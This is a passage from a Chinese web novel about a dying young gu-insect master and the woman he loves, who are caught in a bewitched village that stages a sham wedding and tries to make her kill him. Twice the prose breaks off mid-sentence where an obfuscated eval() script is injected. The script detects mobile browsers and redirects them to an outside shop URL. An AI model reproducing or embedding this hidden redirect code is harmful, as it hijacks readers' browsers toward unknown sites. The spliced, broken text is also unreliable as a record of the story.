陆云中转头看向谢荣辞,见他轻轻点头,这才缓缓开口,将真相和盘托出。 “谢公子的身体本就油尽灯枯,今日又强行动用内力与蛊虫,伤势彻底爆发,脉象已经微弱到极致,他……” “他如果不能及时服用雪莲,就会死,对不对?”秦惜念声音发颤,抢先说出了那个残酷的答案。 陆云中点了点头,没有再隐瞒。 秦惜念浑身一震,心口像是被狠狠攥住,痛得无法呼吸。 她知道谢荣辞身体不好,却从没想过,他每一次为她挺身而出,都是在燃烧自己仅剩的性命。 陆云中轻叹一声,转身走了出去,临出门前,对着谢荣辞沉声道:“谢公子,你我相识一场,我只奉劝你一句,若再强行动用内力,怕是连最后的时日,都撑不住了。” 房间里只剩下两人,秦惜念眼圈通红,泪水无声滑落。 她从没想过,这个男人竟然为了她,连命都可以不要。 而她,却还一度想着利用他,甚至不顾他的生死。 谢荣辞见她哭得伤心,连忙嘴硬安慰:“我又没死,你别哭啊。” “你必须给我好好活着。”秦惜念吸了吸鼻子,带着哭腔瞪他,“不然,我就立刻离你而去,这辈子再也不见你。” “好,都听你的。”谢荣辞乖乖应下。 夜里歇息时,谢荣辞一直嘟囔着身上难受,非要秦惜念陪着他才肯睡。 病人为大,她也不好拒绝,只得躺到他身侧。 他却得寸进尺,一直凑过来想要亲亲,两人刚解开心结,她羞得不行,直接一扭头,背对着他。 谢荣辞也不恼,只是伸出手臂,从身后轻轻将她紧紧抱住,鼻尖抵在她的发顶,这是他长大以来,为数不多能睡得安稳踏实的一刻。 第二天清晨,秦惜念醒来时,身旁早已没了谢荣辞的身影。 只有他昨日新买的衣裳,被叠得整整齐齐,放在她枕边。 她换好衣裳下楼,陆云中已经决定即刻启程,没有半分耽搁,直接备好两辆马车。 马车虽能遮挡风沙,可苗疆的天气闷热潮湿,没过多久,秦惜念便热得大汗淋漓。 谢荣辞见状,悄悄动用内力,在周身散出一层清冷气息。 秦惜念靠在他身上,只觉得冰凉舒服,可很快便察觉到不对劲。 他的体温虽向来偏低,却绝不会冷得如此反常。 “你是不是又动用内力了?” 谢荣辞被戳穿,只得立刻收回气息,体温恢复如常。 秦惜念又气又心疼,眼眶一红:“你为什么就是不把自己的身体当回事?你明明知道,动用内力会耗损你的性命!” “如果不能让你开心,那我活着,也就没有任何意义了。”谢荣辞望着她,语气认真而深情。 秦惜念抬手轻轻打了他一下,哽咽道:“呸呸呸,不许说这种话!你好好活着,我才会高兴!” 自从两人坦诚心意、互许终身之后,谢荣辞变得愈发温柔宠溺,哪怕只有一丝一毫的风险,他都绝不会让她去触碰,恨不得将她捧在手心宠上天。 而秦惜念也一直耐心陪着他,一点点告诉他,他不是没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17321206|199070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人疼爱的小可怜,这世上,有她真心爱着他。 马车忽然猛地一停,打断了两人的思绪。 秦惜念掀开锻帘往外望去,只见前方出现一座僻静村庄。 在苗疆,这种脱离朝廷掌控的村落并不稀奇,大多只剩老人留守。 可诡异的是,村口的老人们齐刷刷排成一列,一动不动地站在那里,像是在专门等候他们。 秦惜念轻轻戳了戳谢荣辞的胳膊,压低声音:“这些人,是来迎接你的吗?” “不知道,不认识。”谢荣辞眉头微蹙,眼中闪过一丝警惕。 另一侧的陆云中也早已察觉异样,这些人面色僵硬,眼神空洞,不像是活生生的人,反倒更像一具具没有灵魂的木偶。 几人陆续下车,一位老婆婆佝偻着身子上前,笑容僵硬:“哎呀,你们就是来祈福的小夫妻吧?瞧这模样,真是俊俏。” 秦惜念尴尬地点了点头,一时不知该如何反驳。 “你们是准备今晚就办吗?”旁边一位老爷爷开口,声音机械干涩。 “我们不是……”谢荣辞刚想开口否认,周围的村民便像是被触发了机关一般,齐刷刷重复起同一句话。 “你们是准备今晚就办吗?” “你们是准备今晚就办吗?” 声音单调重复,听得人头皮发麻。 几人瞬间明白,今日若是不顺着他们的意思办,恐怕谁也没法活着走出这座村子。 “是,我和我相公是来祈福的,他们两位,只是随行的朋友。”秦惜念立刻上前,主动揽下了一切。 “好,那就有请吧。”老婆婆机械地应道。 秦惜念是几人中伤势痊愈、身体最康健的一个,即便村中藏有猫腻,她也有底气应对。 老婆婆将她带入屋内,按照寻常人家嫁娶的规矩,为她上妆、换上大红婚服。 只是那些老婆婆的手冰凉刺骨,没有半分活人温度,让她心底的疑虑越来越重。 与此同时,谢荣辞也被换上了新郎婚服,在屋外静静等候 着秦惜念。 当红盖头挑起、团扇轻遮容颜的少女出现时,谢荣辞的心脏,还是狠狠漏跳了一拍。 两人并肩站在堂前,开始行拜堂之礼。 一开始迎接他们的老婆婆与老爷爷端坐主位,用毫无起伏的机械语调唱喏:“一拜天地——二拜高堂——夫妻对拜——” 礼毕,有人端上一壶老酒,为两人各斟一杯。 两人不动声色地接过,仰头一饮,却都暗中留了心眼,将酒水含在口中,并未咽下。 一进入洞房,两人立刻将口中的酒吐回杯中。 陆云中和宋昭和也随后推门而入,脸色皆是凝重。 “容辞,你觉得这酒,有问题吗?”秦惜念低声问道。 “你那杯,应该是噬人心智的毒。”谢荣辞取出银针,将自己的血滴入两只酒杯中观察,“我这杯,则是散人心神的药。” “看来,是有人在背后暗中操纵这一切。”陆云中沉声道。 “这个人,是冲着我来的,还是冲着陆哥哥、谢哥哥来的?”宋昭和小声分析。 “不管是谁,他的目标,一定是我们几人的性命。”秦惜念眼底闪过一丝冷光,“既然如此,那我们就演一场戏,让他看见他最想看见的场面。” 谢荣辞提前服下特制的红花草药丸,服用后只需轻咳,便会口吐鲜血,宛如身受重伤。 一切准备就绪,陆云中与宋昭和悄然退开,房间里只留下秦惜念与谢荣辞两人。 “我要杀了你,你根本不配活着!”秦惜念手持短刀,眼神冰冷,装作失控的模样,作势要朝他刺去。 “你竟然如此对我,终究是我错付了。”谢荣辞缓缓倒在地上,张口便吐出一口鲜血,神色痛苦不堪。 就在这时,门口忽然卷进一阵阴冷寒风,一个诡异的声音幽幽响起:“你恨他吗?只要他死,你便可享一世荣华富贵,杀了他——杀了他!” 秦惜念心头一震,这一次,她不是在演戏。 一股强大的诡异力量,正在一点点抽离她的意志,操控着她的神智。 她手中的短刀不受控制,狠狠朝着谢荣辞的胸口,刺了下去! 10. 苗疆 短刀带着寒气,一寸寸逼近谢荣辞的心口。 秦惜念浑身僵硬,神智被那股阴邪之力牢牢锁住,指尖不受控制地发颤,她拼命想收回手,可身体却像被无形的线牵引,根本不听使唤。 “不!放开我!”她在心底嘶吼,眼眶通红,泪水不受控制地滚落。 谢荣辞躺在地上,没有躲闪,只是静静地望着她,眼底没有恐惧,只有无尽的心疼与温柔。 他轻声开口,气息微弱却清晰:“惜念,别怕,我信你。” 就是这一句话,像一道惊雷劈开了笼罩在秦惜念心头的迷雾。 她猛地咬紧下唇,血腥味在口中弥漫,剧痛让她瞬间夺回一丝神智。 就在刀刃即将刺入皮肉的刹那,她手腕猛转,刀锋偏开,狠狠扎进了谢荣辞身侧的木板之中。 “我不会杀他。”秦惜念抬眼,目光冷厉地望向门口那道无形的阴影,“无论你用什么法子,我都不会。” 阴邪的声音骤然变得尖锐:“不知好歹!既然你不肯,那我便亲自来!” 一股黑风猛地席卷而来,直扑谢荣辞。 就在此时,窗外忽然涌入漫天青蓝色蝴蝶,蛊虫振翅之声清脆刺耳,瞬间将黑风撕碎。 谢荣辞强撑着起身,指尖结印,蛊虫如潮水般涌向暗处,只听一声凄厉惨叫,藏在幕后的操控者被逼出原形,竟是一个浑身裹着黑袍的巫师。 “敢动我的人,找死。” 谢荣辞声音冰冷,腰腹旧伤崩裂,鲜血浸透衣袍,可他眼神依旧凌厉如刀。 陆云中与宋昭和立刻破门而入,一人拔剑,一人守在秦惜念身侧,四人瞬间结成阵形。 那巫师见势不妙,抬手撒出一把毒粉,转身便想逃,却被蝴蝶团团围住,不过片刻便倒在地上,没了气息。 危机解除,房间里重归安静。 秦惜念再也撑不住,扑到谢荣辞身边,抱住他失声痛哭,“你为什么不躲?你明明可以躲开的!” “我信你不会伤我。”谢荣辞抬手,轻轻擦去她的眼泪,伤口剧痛让他脸色发白,却依旧笑着,“再说,我舍不得让你一个人面对。” 陆云中上前迅速为他包扎伤口,眉头紧锁:“你再这般不要命,就算到了灵医谷,也撑不到采摘雪莲那日。” “我知道。”谢荣辞低声应道,目光却始终没有离开秦惜念。 当晚,几人不敢再留在诡异村落,连夜收拾东西离开。 马车在夜色中疾驰,秦惜念紧紧靠在谢荣辞怀里,一刻也不敢松开。 他的体温微凉,却让她无比心安。 “以后不许再吓我了。”她闷声道。 “好。”谢荣辞低头,在她发顶轻轻一吻,“都听你的,以后我的命,只交给你保管。” 宋昭和坐在另 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17321207|199070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一辆马车上,听着这边的动静,忍不住轻轻笑了出来,看向身旁的陆云中:“陆哥哥,你看他们,真好。” 陆云中眸色温柔,点了点头:“等熬过这一关,他们都会好好的。” 月色洒在苗疆的山道上,虫鸣声声,夜风微凉。 马车内,秦惜念握着谢荣辞的手,一遍遍抚摸着他指尖的薄茧,心里又酸又软。 这个从小被至亲抛弃、身中蛊毒、活不过二十岁的少年,却把所有的温柔与偏爱,全都给了她。 “谢荣辞。” “嗯?” “等拿到雪莲,救好你和我母亲,我们就找一个没有人认识我们的地方,好不好?”她抬头,眼睛亮晶晶的,“不做什么公子小姐,不涉朝堂恩怨,就做一对普通人。” 谢荣辞的心猛地一软,收紧手臂,将她抱得更紧。 “好。”他轻声答应,声音带着不易察觉的哽咽,“去哪里都好,只要有你。” 他从未奢望过未来,从未敢想过有人会愿意与他共度一生。 可现在,他有了盼头。 为了她,他必须活下去。 马车继续向前行驶,朝着灵医谷的方向。 前路依旧凶险,可这一次,他们不再是孤身一人。 爱恨、生死、秘密与真心,全都在夜色中慢慢沉淀。 而属于他们的故事,才刚刚开始。